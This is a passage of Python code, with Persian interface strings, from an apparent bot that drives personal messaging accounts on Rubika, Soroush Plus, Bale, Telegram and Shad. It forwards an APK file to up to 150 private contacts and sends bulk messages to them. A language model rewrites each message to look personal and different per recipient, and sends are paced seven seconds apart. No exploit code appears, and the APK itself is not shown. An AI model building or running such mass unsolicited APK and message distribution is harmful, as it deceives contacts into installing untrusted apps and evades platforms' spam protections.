            mid = int(m.group(1)); break
    if mid is None and parts and str(parts[-1]).isdigit():
        mid = int(parts[-1])
    if not mid or mid <= 0:
        return False, "شناسه پیام داخل لینک پیدا نشد.", None, []

    before = parts[:-1] if parts and str(parts[-1]).isdigit() else parts
    ignored = {"c", "channel", "group", "groups", "m", "s", "p", "message", "messages", "post"}
    candidates = []

    if platform == "telegram":
        if len(before) >= 2 and before[0].lower() == "c" and before[1].isdigit():
            internal = before[1]
            candidates.extend([int("-100" + internal), internal, "/".join(before)])
        else:
            for x in reversed(before):
                if x and x.lower() not in ignored:
                    candidates.append(x); break
            if before:
                candidates.append("/".join(before))
    elif platform == "rubika":
        if len(before) >= 2 and before[0].lower() in {"c", "channel", "group"}:
            candidates.extend([before[-1], "/".join(before)])
        else:
            for x in reversed(before):
                if x and x.lower() not in ignored:
                    candidates.append(x); break
            if before:
                candidates.append("/".join(before))
    else:
        for x in reversed(before):
            if x and x.lower() not in ignored:
                candidates.append(x); break
        if before:
            candidates.append("/".join(before))

    if before and not candidates:
        candidates.append("/".join(before))
        candidates.append(before[-1])

    seen = set(); uniq = []
    for x in candidates:
        sx = str(x)
        if sx not in seen:
            seen.add(sx); uniq.append(x)
    return True, "", int(mid), uniq


async def _trx647_get_source_message(client, platform, raw_link):
    ok, reason, mid, peers = _trx647_parse_message_link(platform, raw_link)
    if not ok:
        return False, reason, None, None
    if client is None:
        return False, "اکانت انتخاب‌شده متصل نیست.", None, None

    # Use the robust original loader first.
    loader = getattr(trx, "_trx115_get_message_final", None)
    if callable(loader):
        for peer in peers:
            try:
                obj, _resolved = await asyncio.wait_for(
                    _awaitable(loader(client, peer, mid)), timeout=15
                )
                if obj is not None:
                    return True, "", obj, peer
            except Exception:
                continue

    # Library-specific fallbacks.
    for peer in peers:
        for name, args, kwargs in (
            ("get_messages_by_id", (peer, [mid]), {}),
            ("get_messages", (peer,), {"ids": [mid]}),
            ("get_messages", (peer,), {"id": mid}),
            ("get_message", (peer, mid), {}),
            ("get_message_by_id", (peer, mid), {}),
        ):
            fn = getattr(client, name, None)
            if not callable(fn):
                continue
            try:
                value = await _awaitable(fn(*args, **kwargs))
                if isinstance(value, dict):
                    value = value.get("messages") or value.get("data") or value
                    if isinstance(value, dict) and value.get("messages"):
                        value = value["messages"]
                if isinstance(value, (list, tuple)):
                    value = value[0] if value else None
                if value is not None:
                    return True, "", value, peer
            except Exception:
                continue
    return False, "پیام منبع پیدا نشد؛ اکانت باید به همان کانال/گروه دسترسی داشته باشد.", None, None


def _trx647_media_kind(obj):
    if obj is None:
        return "unknown"
    try:
        meta = trx._trx110_apk_meta(obj)
        if meta and (
            str(meta.get("filename") or "").lower().endswith(".apk")
            or str(getattr(obj, "mime_type", "") or "").lower() == "application/vnd.android.package-archive"
        ):
            return "apk"
    except Exception:
        pass
    flags = {"photo": False, "video": False}
    if isinstance(obj, dict):
        flags["photo"] = bool(obj.get("photo"))
        flags["video"] = bool(obj.get("video"))
        doc = obj.get("document") or obj.get("media") or {}
        if isinstance(doc, dict):
            mime = str(doc.get("mime_type") or doc.get("mime") or "").lower()
            flags["video"] = flags["video"] or mime.startswith("video/")
            flags["photo"] = flags["photo"] or mime.startswith("image/")
    else:
        flags["photo"] = bool(getattr(obj, "photo", None))
        flags["video"] = bool(getattr(obj, "video", None))
        media = getattr(obj, "media", None)
        doc = getattr(media, "document", None) if media is not None else None
        mime = str(getattr(doc, "mime_type", None) or getattr(media, "mime_type", None) or "").lower()
        flags["video"] = flags["video"] or mime.startswith("video/")
        flags["photo"] = flags["photo"] or mime.startswith("image/")
    if flags["video"]:
        return "video"
    if flags["photo"]:
        return "photo"
    return "unknown"


async def _trx647_save_apk_link(uid, aid, platform, raw_link):
    """Validate/read/save an APK source without allowing one bad link to escape the handler."""
    try:
        platform = _trx647_platform(platform)
        raw_link = str(raw_link or "").strip()
        ctx = _trxj_validate_account(uid, int(aid), platform)
        if not ctx:
            return False, "اکانت انتخاب‌شده با این پلتفرم هم‌خوانی ندارد یا غیرفعال است.", None

        client = trx.ai_live_clients.get((int(uid), int(aid)))
        if client is None:
            try:
                client = await asyncio.wait_for(trx._ensure_ai_client(int(uid), int(aid)), timeout=15)
            except Exception as exc:
                return False, f"اتصال اکانت برقرار نشد: {_mask(str(exc))[:180]}", None
        if client is None:
            return False, "اکانت انتخاب‌شده متصل نیست.", None

        # First use the new universal parser/reader. If the public-link shape is one
        # of the legacy TRX01 formats, fall back to its validated source reader.
        ok, reason, msg_obj, source_peer = await _trx647_get_source_message(client, platform, raw_link)
        if not ok:
            try:
                legacy_reader = getattr(trx, "_trx01_read_apk_source", None)
                if callable(legacy_reader):
                    ok2, reason2, meta2 = await asyncio.wait_for(
                        _awaitable(legacy_reader(int(uid), int(aid), platform, raw_link)), timeout=30
                    )
                    if ok2 and meta2:
                        source_peer = str(meta2.get("source_peer") or "")
                        message_id = str(meta2.get("message_id") or "")
                        if not message_id:
                            return False, "شناسه پیام منبع پیدا نشد.", None
                        for name, args, kwargs in ((
                            "get_messages_by_id", (source_peer, [int(message_id)]), {}),
                            ("get_messages", (source_peer,), {"ids": [int(message_id)]}),
                            ("get_message_by_id", (source_peer, int(message_id)), {}),
                        ):
                            fn = getattr(client, name, None)
                            if not callable(fn):
                                continue
                            try:
                                obj = await _awaitable(fn(*args, **kwargs))
                                if isinstance(obj, (list, tuple)):
                                    obj = obj[0] if obj else None
                                if isinstance(obj, dict) and obj.get("messages"):
                                    obj = obj["messages"][0]
                                if obj is not None:
                                    msg_obj = obj
                                    ok = True
                                    reason = ""
                                    break
                            except Exception:
                                continue
                    if not ok2 and reason2:
                        reason = reason2
            except Exception as exc:
                _LOG_WARN(f"[TRX647][apk-link-legacy] {_mask(str(exc))}")
        if not ok or msg_obj is None:
            return False, reason or "پیام منبع APK پیدا نشد؛ لینک مستقیم همان پیام فایل APK را بفرست.", None

        meta = trx._trx110_apk_meta(msg_obj) or {}
        filename = str(meta.get("filename") or meta.get("file_name") or "app.apk")[:255]
        if not filename.lower().endswith(".apk"):
            return False, "این لینک پیام APK نیست؛ لینک مستقیم همان پیام فایل APK را بفرست.", None
        size = int(meta.get("size") or meta.get("file_size") or 0)

        parsed = _trx647_parse_message_link(platform, raw_link)
        if not parsed[0]:
            return False, parsed[1] or "لینک پیام قابل تشخیص نیست.", None
        message_id = int(parsed[2])
        dbx = _DB()

        old = dbx.fetchone(
            "SELECT af.id FROM apk_files af JOIN apk_sources s ON s.apk_id=af.id "
            "WHERE af.user_id=? AND s.account_id=? AND s.platform=? AND af.enabled=1 "
            "ORDER BY af.id DESC LIMIT 1",
            (int(uid), int(aid), platform),
        )
        if not old:
            active = dbx.fetchone("SELECT COUNT(*) c FROM apk_files WHERE user_id=? AND enabled=1", (int(uid),))
            if active and int(active["c"] or 0) >= int(getattr(trx, "MAX_APK_PER_USER", 4) or 4):
                return False, "ظرفیت APKهای فعال پر شده است؛ یک APK قدیمی را غیرفعال کن.", None
        else:
            try:
                dbx.execute("UPDATE apk_files SET enabled=0 WHERE id=? AND user_id=?", (int(old["id"]), int(uid)))
            except Exception:
                pass

        cur = dbx.execute(
            "INSERT INTO apk_files(user_id,file_id,message_id,file_name,file_size,enabled,added_at) VALUES(?,?,?,?,?,1,?)",
            (int(uid), "", message_id, filename, size, trx.now()),
        )
        apk_id = int(cur.lastrowid)
        dbx.execute(
            "CREATE TABLE IF NOT EXISTS apk_sources (apk_id INTEGER PRIMARY KEY, account_id INTEGER, platform TEXT, source_peer TEXT, source_message_id TEXT, created_at TEXT)"
        )
        dbx.execute(
            "INSERT OR REPLACE INTO apk_sources(apk_id,account_id,platform,source_peer,source_message_id,created_at) VALUES(?,?,?,?,?,?)",
            (apk_id, int(aid), platform, str(source_peer or ""), str(message_id), trx.now()),
        )
        dbx.execute("INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)", (f"default_apk:{int(uid)}", apk_id))
        try:
            trx._trx660_apk_config_upsert(
                int(uid), platform, aid=int(aid), apk_id=apk_id,
                source_peer=str(source_peer or ""), source_message_id=str(message_id),
                file_name=filename, file_size=size, download_link=raw_link,
            )
        except Exception as exc:
            _LOG_WARN(f"[TRX647][apk-config] {_mask(str(exc))}")
        try:
            dbx.execute(
                "INSERT OR REPLACE INTO trx01_apk_links(platform,target_account,apk_link,source_peer,source_message_id,file_name,file_size,set_at,apk_id) VALUES(?,?,?,?,?,?,?,?,?)",
                (platform, str(int(aid)), raw_link, str(source_peer or ""), str(message_id), filename, size, trx.now(), apk_id),
            )
        except Exception:
            pass
        try:
            trx.log_event(int(uid), "APK_LINK_SAVED", f"{platform}:{filename}")
            trx.log_account_activity(int(aid), int(uid), "apk_source_link", raw_link[:300], 1)
        except Exception:
            pass
        return True, f"APK #{apk_id} • {filename}", {"apk_id": apk_id, "filename": filename, "size": size}
    except asyncio.CancelledError:
        raise
    except Exception as exc:
        _LOG_ERR(f"[TRX647][apk-save] {_mask(str(exc))}\n{traceback.format_exc(limit=20)}")
        return False, "خواندن لینک APK با خطای داخلی مواجه شد؛ اکانت/لینک را دوباره بررسی کن.", None


# ---------------------------------------------------------------------------
# Bulk contacts — dedicated state, no collision with legacy trx.state.
# ---------------------------------------------------------------------------
async def _trx647_bulk_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data = str(data or "")
    if not (data == "ai.bulk.contacts" or data.startswith(BULK_PREFIX)):
        return None
    await _safe_answer(cb_id)
    try:
        if data == "ai.bulk.contacts":
            _trx647_clear(_TRX647_BULK_STATE, uid)
            try:
                legacy = trx.state.get(int(uid))
                if legacy and str(legacy.get("state", "")).startswith(("trxq11bulk", "trx222b_bulk")):
                    trx.state.pop(int(uid), None)
            except Exception:
                pass
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu("پیام به مخاطبین", ["پلتفرم را انتخاب کن"]), _IKB([
                [("🔵 روبیکا", BULK_PREFIX + "plat:rubika", "primary"), ("🔴 سروش پلاس", BULK_PREFIX + "plat:soroush", "danger")],
                [("🟡 بله", BULK_PREFIX + "plat:bale", "primary"), ("🟦 تلگرام", BULK_PREFIX + "plat:telegram", "primary")],
                [("🟩 شاد", BULK_PREFIX + "plat:shad", "success")],
                [("↩️ بازگشت", "ai", "primary")],
            ]))
        if data.startswith(BULK_PREFIX + "plat:"):
            plat = _trx647_platform(data.split(":", 1)[1])
            rows = _DB().fetchall("SELECT id,phone FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC", (int(uid), plat)) if plat else []
            btns = [[(f"#{r['id']} — {trx._mask_phone(r['phone']) if r['phone'] else '—'}", f"{BULK_PREFIX}acc:{int(r['id'])}:{plat}", "primary")] for r in rows]
            btns.append([("↩️ بازگشت", "ai.bulk.contacts", "primary")])
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu(f"اکانت {_platform_label(plat, lang)}", ["فقط اکانت همان پلتفرم نشان داده می‌شود"]), _IKB(btns))
        if data.startswith(BULK_PREFIX + "acc:"):
            try:
                trx.state.pop(int(uid), None)
            except Exception:
                pass
            aid, plat = _trxj_parse_account_callback(data, BULK_PREFIX)
            if aid is None or not _trxj_validate_account(uid, aid, plat):
                _trx647_clear(_TRX647_BULK_STATE, uid)
                return await _safe_edit(chat_id, msg_id, "❌ اکانت یا پلتفرم نامعتبر است.", _trx647_menu(lang, uid))
            _TRX647_BULK_STATE[int(uid)] = {"state": "count", "aid": int(aid), "platform": plat, "created": _trx647_now(), "expires": _trx647_now() + TRX647_STATE_TTL}
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.wizard("پیام به مخاطبین", "مرحله ۱ از ۳", "تعداد مخاطبین را بفرست (۱ تا ۱۵۰)", "مقدار قبلی هیچ‌جا استفاده نمی‌شود"), _IKB([[('❌ لغو', 'cancel', 'danger')]]))
        if data == BULK_PREFIX + "confirm":
            st = _TRX647_BULK_STATE.get(int(uid))
            # Recover a matching legacy state if an older layer received the same flow.
            if not st:
                try:
                    legacy = trx.state.get(int(uid)) or {}
                    if str(legacy.get("state", "")) in ("trxq11bulk_confirm", "trx222b_bulk_confirm"):
                        st = {
                            "state": "confirm",
                            "aid": int(legacy.get("account_id") or legacy.get("aid")),
                            "platform": str(legacy.get("platform") or ""),
                            "count": int(legacy.get("count") or 0),
                            "message": str(legacy.get("message") or ""),
                            "created": _trx647_now(),
                            "expires": _trx647_now() + TRX647_STATE_TTL,
                        }
                        _TRX647_BULK_STATE[int(uid)] = st
                except Exception:
                    st = None
            if not st or _trx647_now() >= float(st.get("expires", 0)) or st.get("state") != "confirm":
                _trx647_clear(_TRX647_BULK_STATE, uid)
                return await _safe_edit(chat_id, msg_id, "❌ این تأیید منقضی شده. از منوی AI دوباره شروع کن.", _trx647_menu(lang, uid))
            aid, plat = int(st["aid"]), str(st["platform"])
            count = int(st.get("count") or 0)
            if not 1 <= count <= 150 or not _trxj_validate_account(uid, aid, plat):
                _trx647_clear(_TRX647_BULK_STATE, uid)
                return await _safe_edit(chat_id, msg_id, "❌ تنظیمات ارسال معتبر نیست. دوباره شروع کن.", _trx647_menu(lang, uid))
            peers, available = await _trxq11bulk_get_contacts(uid, aid, plat, count)
            if not peers:
                _trx647_clear(_TRX647_BULK_STATE, uid)
                return await _safe_edit(chat_id, msg_id, "❌ مخاطب خصوصی پیدا نشد؛ مخاطبین وقتی ثبت می‌شوند که اکانت با آن‌ها مکالمه داشته باشد.", _trx647_menu(lang, uid))
            batch = f"bulk647-{uid}-{aid}-{int(time.time())}"
            message = str(st.get("message") or "")
            _trx647_clear(_TRX647_BULK_STATE, uid)
            note = f"فقط {len(peers)} نفر از {count} درخواستی موجود بود" if available < count else f"تعداد: {count}"
            await _safe_edit(chat_id, msg_id, f"⏳ ارسال شروع شد\n{note}\nپلتفرم: {_platform_label(plat, lang)}\nاکانت: #{aid}")
            _create_task(_trx647_bulk_worker(uid, aid, plat, message, peers, batch, chat_id, lang))
            return True
        if data in ("cancel", BULK_PREFIX + "cancel"):
            _trx647_clear(_TRX647_BULK_STATE, uid)
            return await _safe_edit(chat_id, msg_id, "❌ عملیات لغو شد.", _trx647_menu(lang, uid))
    except Exception as exc:
        _trx647_clear(_TRX647_BULK_STATE, uid)
        _LOG_ERR(f"[TRX647][bulk] {_mask(str(exc))}")
        return await _safe_edit(chat_id, msg_id, "⚠️ خطا در پیام به مخاطبین. دوباره از منوی AI شروع کن.", _trx647_menu(lang, uid))
    return None


async def _trx647_bulk_worker(uid, aid, platform, base_text, peers, batch_id, chat_id, lang):
    sent = failed = 0
    total = len(peers)
    client = trx.ai_live_clients.get((int(uid), int(aid)))
    if client is None:
        try:
            client = await trx._ensure_ai_client(int(uid), int(aid))
        except Exception:
            client = None
    # Optional configured APK follows the same selected account/platform.
    apk = None
    try:
        apk = trx._trx660_apk_payload(int(uid), int(aid))
    except Exception:
        apk = None
    for idx, peer in enumerate(peers):
        ok = False
        try:
            if client is None:
                raise RuntimeError("اکانت AI در دسترس نیست")
            if apk:
                apk_id = int(apk.get("id") or apk.get("apk_id") or 0)
                if apk_id:
                    try:
                        await trx._trx_forward_source_apk_v11(int(uid), int(aid), peer, apk_id)
                    except Exception:
                        pass
            sys_prompt = _ai_system(int(uid), int(aid), "bulk_pv", f"Platform={platform}. Peer={peer}. UserText={base_text}")
            mem = _memory_load(int(uid), int(aid), str(peer), 6)
            unique = await _AI().chat(
                [{"role": "system", "content": sys_prompt}] + mem + [{"role": "user", "content": f"متن پایه را برای همین مخاطب شخصی و هم‌معنا اما متفاوت کن:\n{base_text}"}],
                uid=int(uid), account_id=int(aid), action_type="bulk_pv", temperature=0.85, max_tokens=260,
            )
            unique = _cleanup_caption(unique or base_text)
            send = getattr(client, "send_message", None)
            if not callable(send):
                raise RuntimeError("send_message در این کلاینت وجود ندارد")
            await _awaitable(send(peer, unique))
            ok = True
            _memory_save(int(uid), int(aid), str(peer), "assistant", unique)
        except asyncio.CancelledError:
            raise
        except Exception as exc:
            _LOG_WARN(f"[TRX647][bulk-worker] {peer}: {_mask(str(exc))}")
        try:
            _DB().execute("INSERT INTO trx222b_bulk_log(user_id,account_id,platform,peer_id,message_text,success,batch_id,created_at) VALUES(?,?,?,?,?,?,?,?)", (int(uid), int(aid), platform, str(peer), str(base_text)[:500], 1 if ok else 0, batch_id, trx.now()))
        except Exception:
            pass
        if ok: sent += 1
        else: failed += 1
        if idx < total - 1:
            await asyncio.sleep(7)
    report = TRX_UI_STYLE.report("گزارش ارسال به مخاطبین", {"موفق": sent, "ناموفق": failed, "کل": total, "پلتفرم": _platform_label(platform, lang)})
    try:
        await _BOT().send(chat_id, report, reply_markup=_trx647_menu(lang, uid))
    except Exception:
        pass


async def _trx647_bulk_on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    text_value = _trx647_extract_message_link(msg)
    if not uid or not chat_id or not text_value or text_value.startswith("/"):
        return None
    st = _TRX647_BULK_STATE.get(int(uid))
    if not st:
        return None
    if _trx647_now() >= float(st.get("expires", 0)):
        _trx647_clear(_TRX647_BULK_STATE, uid)
        return await _BOT().send(chat_id, "❌ مرحله پیام به مخاطبین منقضی شده؛ از منوی AI دوباره شروع کن.")
    if st.get("state") == "count":
        digits = _norm_digits(text_value)
        if not digits.isdigit() or not 1 <= int(digits) <= 150:
            return await _BOT().send(chat_id, "❌ عدد باید بین ۱ تا ۱۵۰ باشد.")
        st["count"] = int(digits); st["state"] = "text"; st["expires"] = _trx647_now() + TRX647_STATE_TTL
        return await _BOT().send(chat_id, TRX_UI_STYLE.wizard("پیام به مخاطبین", "مرحله ۲ از ۳", "متن پیام را بفرست", "تعداد حفظ می‌شود"), reply_markup=_IKB([[('❌ لغو', 'cancel', 'danger')]]))
    if st.get("state") == "text":
        if not int(st.get("count") or 0):
            _trx647_clear(_TRX647_BULK_STATE, uid)
            return await _BOT().send(chat_id, "❌ تعداد معتبر نیست؛ دوباره از منوی AI شروع کن.")
        st["message"] = text_value; st["state"] = "confirm"; st["expires"] = _trx647_now() + TRX647_STATE_TTL
        return await _BOT().send(chat_id, TRX_UI_STYLE.confirm("پیام به مخاطبین", [f"تعداد: {st['count']}", f"پلتفرم: {_platform_label(st['platform'], trx.get_lang(uid) or 'fa')}", f"اکانت: #{st['aid']}"], "تأیید را تا یک ساعت معتبر نگه می‌داریم"), reply_markup=_IKB([[('✅ تأیید', BULK_PREFIX + 'confirm', 'success'), ('❌ لغو', 'cancel', 'danger')]]))
    return None


# ---------------------------------------------------------------------------
# APK send — dedicated state and universal source reader.
# ---------------------------------------------------------------------------
async def _trx647_apk_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data = str(data or "")
    if not data.startswith(APKFIX_PREFIX):
        return None
    await _safe_answer(cb_id)
    try:
        if data == "apkfix.start":
            _trx647_clear(_TRX647_APK_STATE, uid)
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu("ارسال APK", ["پلتفرم را انتخاب کن"]), _IKB([
                [("🔵 روبیکا", "apkfix.plat:rubika", "primary"), ("🔴 سروش پلاس", "apkfix.plat:soroush", "danger")],
                [("🟡 بله", "apkfix.plat:bale", "primary"), ("🟦 تلگرام", "apkfix.plat:telegram", "primary")],
                [("🟩 شاد", "apkfix.plat:shad", "success")],
                [("↩️ بازگشت", "ai", "primary")],
            ]))
        if data.startswith("apkfix.plat:"):
            plat = _trx647_platform(data.split(":", 1)[1])
            rows = _DB().fetchall("SELECT id,phone FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC", (int(uid), plat)) if plat else []
            btns = [[(f"#{r['id']} — {trx._mask_phone(r['phone']) if r['phone'] else '—'}", f"apkfix.acc:{int(r['id'])}:{plat}", "primary")] for r in rows]
            btns.append([("↩️ بازگشت", "apkfix.start", "primary")])
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu(f"اکانت {_platform_label(plat, lang)}", ["فقط اکانت همان پلتفرم"]), _IKB(btns))
        if data.startswith("apkfix.acc:"):
            aid, plat = _trxj_parse_account_callback(data, "apkfix.")
            if aid is None or not _trxj_validate_account(uid, aid, plat):
                _trx647_clear(_TRX647_APK_STATE, uid)
                return await _safe_edit(chat_id, msg_id, "❌ اکانت یا پلتفرم نامعتبر است.", _trx647_menu(lang, uid))
            _TRX647_APK_STATE[int(uid)] = {"state": "link", "aid": int(aid), "platform": plat, "created": _trx647_now(), "expires": _trx647_now() + TRX647_STATE_TTL}
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.wizard("ارسال APK", "مرحله ۱ از ۵", "لینک مستقیم همان پیام فایل APK را بفرست", "لینک دعوت یا صفحه اصلی نفرست"), _IKB([[('❌ لغو', 'apkfix.cancel', 'danger')]]))
        st = _TRX647_APK_STATE.get(int(uid))
        if data.startswith("apkfix.textmode:"):
            if not st or _trx647_now() >= float(st.get("expires", 0)):
                _trx647_clear(_TRX647_APK_STATE, uid)
                return await _safe_edit(chat_id, msg_id, "❌ این مرحله منقضی شده. دوباره از منوی AI شروع کن.", _trx647_menu(lang, uid))
            mode = data.split(":", 1)[1]
            if mode not in ("ai", "static", "none"):
                return await _safe_edit(chat_id, msg_id, "❌ حالت نامعتبر.", _trx647_menu(lang, uid))
            st["text_mode"] = mode; st["expires"] = _trx647_now() + TRX647_STATE_TTL
            if mode == "none":
                st["state"] = "confirm"
                return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.confirm("ارسال APK", [f"تعداد مخاطبین: {st['count']}", f"پلتفرم: {_platform_label(st['platform'], lang)}", "فقط فوروارد بدون متن"], "بعد از تأیید، ارسال با فاصله ۷ ثانیه انجام می‌شود"), _IKB([[('✅ تأیید', 'apkfix.confirm', 'success'), ('❌ لغو', 'apkfix.cancel', 'danger')]]))
            st["state"] = "text"
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.wizard("ارسال APK", "مرحله ۴ از ۵", "متن پایه را بفرست", "حالت AI برای هر مخاطب متن متفاوت می‌سازد"), _IKB([[('❌ لغو', 'apkfix.cancel', 'danger')]]))
        if data == "apkfix.confirm":
            if not st or _trx647_now() >= float(st.get("expires", 0)) or st.get("state") != "confirm":
                _trx647_clear(_TRX647_APK_STATE, uid)
                return await _safe_edit(chat_id, msg_id, "❌ این تأیید منقضی شده. دوباره از منوی AI شروع کن.", _trx647_menu(lang, uid))
            aid, plat, count = int(st["aid"]), str(st["platform"]), int(st.get("count") or 0)
            if not 1 <= count <= 150 or not _trxj_validate_account(uid, aid, plat):
                _trx647_clear(_TRX647_APK_STATE, uid)
                return await _safe_edit(chat_id, msg_id, "❌ تعداد یا اکانت معتبر نیست.", _trx647_menu(lang, uid))
            peers, available = await _trxq11bulk_get_contacts(uid, aid, plat, count)
            if not peers:
                _trx647_clear(_TRX647_APK_STATE, uid)
                return await _safe_edit(chat_id, msg_id, "❌ مخاطب خصوصی پیدا نشد؛ ابتدا با اکانت با مخاطب مکالمه داشته باش.", _trx647_menu(lang, uid))
            source = _DB().fetchone("SELECT id FROM apk_files WHERE user_id=? AND enabled=1 ORDER BY id DESC LIMIT 1", (int(uid),))
            if not source or int(source["id"]) != int(st.get("apk_id") or 0):
                _trx647_clear(_TRX647_APK_STATE, uid)
                return await _safe_edit(chat_id, msg_id, "❌ منبع APK دیگر معتبر نیست؛ لینک را دوباره ثبت کن.", _trx647_menu(lang, uid))
            batch = f"apk647-{uid}-{aid}-{int(time.time())}"
            note = f"فقط {len(peers)} نفر از {count} درخواستی موجود بود" if available < count else f"تعداد: {count}"
            job = dict(st)
            _trx647_clear(_TRX647_APK_STATE, uid)
            await _safe_edit(chat_id, msg_id, f"⏳ ارسال APK شروع شد\n{note}\nپلتفرم: {_platform_label(plat, lang)}\nاکانت: #{aid}")
            _create_task(_trx647_apk_worker(uid, aid, plat, int(job["apk_id"]), peers, str(job.get("text_mode") or "none"), str(job.get("base_text") or ""), batch, chat_id, lang))
            return True
        if data == "apkfix.cancel":
            _trx647_clear(_TRX647_APK_STATE, uid)
            return await _safe_edit(chat_id, msg_id, "❌ عملیات لغو شد.", _trx647_menu(lang, uid))
    except Exception as exc:
        _trx647_clear(_TRX647_APK_STATE, uid)
        _LOG_ERR(f"[TRX647][apk-dispatch] {_mask(str(exc))}")
        return await _safe_edit(chat_id, msg_id, "⚠️ خطا در ارسال APK. از منوی AI دوباره شروع کن.", _trx647_menu(lang, uid))
    return None


async def _trx647_apk_on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    text_value = _trx647_extract_message_link(msg)
    if not uid or not chat_id or not text_value:
        return None
    st = _TRX647_APK_STATE.get(int(uid))
    if not st:
        return None
    if _trx647_now() >= float(st.get("expires", 0)):
        _trx647_clear(_TRX647_APK_STATE, uid)
        return await _BOT().send(chat_id, "❌ مرحله ارسال APK منقضی شده؛ از منوی AI دوباره شروع کن.")
    try:
        if st.get("state") == "link":
            ok, info, row = await _trx647_save_apk_link(uid, int(st["aid"]), st["platform"], text_value)
            if not ok:
                return await _BOT().send(chat_id, f"❌ {info}")
            st["state"] = "count"; st["apk_id"] = int(row["apk_id"]); st["expires"] = _trx647_now() + TRX647_STATE_TTL
            return await _BOT().send(chat_id, TRX_UI_STYLE.wizard("ارسال APK", "مرحله ۲ از ۵", "چند مخاطب باید APK بگیرند؟ (۱ تا ۱۵۰)", "عدد را بفرست"), reply_markup=_IKB([[('❌ لغو', 'apkfix.cancel', 'danger')]]))
        if st.get("state") == "count":
            digits = _norm_digits(text_value)
            if not digits.isdigit() or not 1 <= int(digits) <= 150:
                return await _BOT().send(chat_id, "❌ عدد باید بین ۱ تا ۱۵۰ باشد.")
            st["count"] = int(digits); st["state"] = "textmode"; st["expires"] = _trx647_now() + TRX647_STATE_TTL
            return await _BOT().send(chat_id, TRX_UI_STYLE.menu("ارسال APK", ["نوع ارسال را انتخاب کن"], "مرحله ۳ از ۵"), reply_markup=_IKB([
                [("🤖 متن هوشمند برای هر نفر", "apkfix.textmode:ai", "primary")],
                [("📄 متن دلخواه یکسان", "apkfix.textmode:static", "primary")],
                [("📎 فقط فوروارد بدون متن", "apkfix.textmode:none", "primary")],
                [("❌ لغو", "apkfix.cancel", "danger")],
            ]))
        if st.get("state") == "text":
            st["base_text"] = text_value; st["state"] = "confirm"; st["expires"] = _trx647_now() + TRX647_STATE_TTL
            return await _BOT().send(chat_id, TRX_UI_STYLE.confirm("ارسال APK", [f"تعداد: {st['count']}", f"پلتفرم: {_platform_label(st['platform'], lang := trx.get_lang(uid) or 'fa')}", f"حالت: {'AI' if st.get('text_mode') == 'ai' else 'یکسان'}"], "بعد از تأیید، فوروارد و متن با فاصله ۷ ثانیه انجام می‌شود"), reply_markup=_IKB([[('✅ تأیید', 'apkfix.confirm', 'success'), ('❌ لغو', 'apkfix.cancel', 'danger')]]))
    except Exception as exc:
        _trx647_clear(_TRX647_APK_STATE, uid)
        _LOG_ERR(f"[TRX647][apk-on-msg] {_mask(str(exc))}")
        return await _BOT().send(chat_id, "⚠️ خطا. از منوی AI دوباره شروع کن.")
    return None


async def _trx647_apk_worker(uid, aid, platform, apk_id, peers, text_mode, base_text, batch_id, chat_id, lang):
    client = trx.ai_live_clients.get((int(uid), int(aid)))
    if client is None:
        try:
            client = await trx._ensure_ai_client(int(uid), int(aid))
        except Exception:
            client = None
    source = _DB().fetchone("SELECT src.source_peer,src.source_message_id,src.account_id,src.platform FROM apk_files af JOIN apk_sources src ON src.apk_id=af.id WHERE af.id=? AND af.user_id=? AND af.enabled=1 LIMIT 1", (int(apk_id), int(uid)))
    if not source:
        return await _BOT().send(chat_id, "❌ منبع APK پیدا نشد.", reply_markup=_trx647_menu(lang, uid))
    if int(source["account_id"] or 0) != int(aid) or str(source["platform"] or "").lower() != str(platform).lower():
        return await _BOT().send(chat_id, "❌ منبع APK با اکانت/پلتفرم انتخاب‌شده یکی نیست.", reply_markup=_trx647_menu(lang, uid))
    success = failed = 0
    for idx, peer in enumerate(peers):
        ok = False
        try:
            if client is None:
                raise RuntimeError("self-bot account unavailable")
            ok, info = await _apkfix_do_forward(client, str(source["source_peer"] or ""), str(source["source_message_id"] or ""), peer, platform)
            if not ok:
                raise RuntimeError(str(info)[:400])
            if text_mode in ("ai", "static") and base_text:
                if text_mode == "ai":
                    sys_prompt = _ai_system(int(uid), int(aid), "apk_bulk_pv", f"Platform={platform}. Peer={peer}. UserText={base_text}")
                    mem = _memory_load(int(uid), int(aid), str(peer), 6)
                    unique = await _AI().chat([{ "role": "system", "content": sys_prompt }] + mem + [{"role": "user", "content": f"متن پایه:\n{base_text}"}], uid=int(uid), account_id=int(aid), action_type="apk_bulk_pv", temperature=0.8, max_tokens=220)
                    unique = _cleanup_caption(unique or base_text)
                else:
                    unique = _cleanup_caption(base_text)
                send = getattr(client, "send_message", None)
                if callable(send):
                    await _awaitable(send(peer, unique))
            success += 1
        except asyncio.CancelledError:
            raise
        except Exception as exc:
            failed += 1
            _LOG_WARN(f"[TRX647][apk-worker] {peer}: {_mask(str(exc))}")
        try:
            _DB().execute("INSERT INTO trx222b_bulk_log(user_id,account_id,platform,peer_id,message_text,success,batch_id,created_at) VALUES(?,?,?,?,?,?,?,?)", (int(uid), int(aid), platform, str(peer), str(base_text)[:500], 1 if ok else 0, batch_id, trx.now()))
        except Exception:
            pass
        if idx < len(peers) - 1:
            await asyncio.sleep(7)
    try:
        await _BOT().send(chat_id, TRX_UI_STYLE.report("گزارش ارسال APK", {"موفق": success, "ناموفق": failed, "کل": len(peers), "پلتفرم": _platform_label(platform, lang)}), reply_markup=_trx647_menu(lang, uid))
    except Exception:
        pass


# ---------------------------------------------------------------------------
# Unified APK Gallery — photos + one video; no separate video menu.
# ---------------------------------------------------------------------------
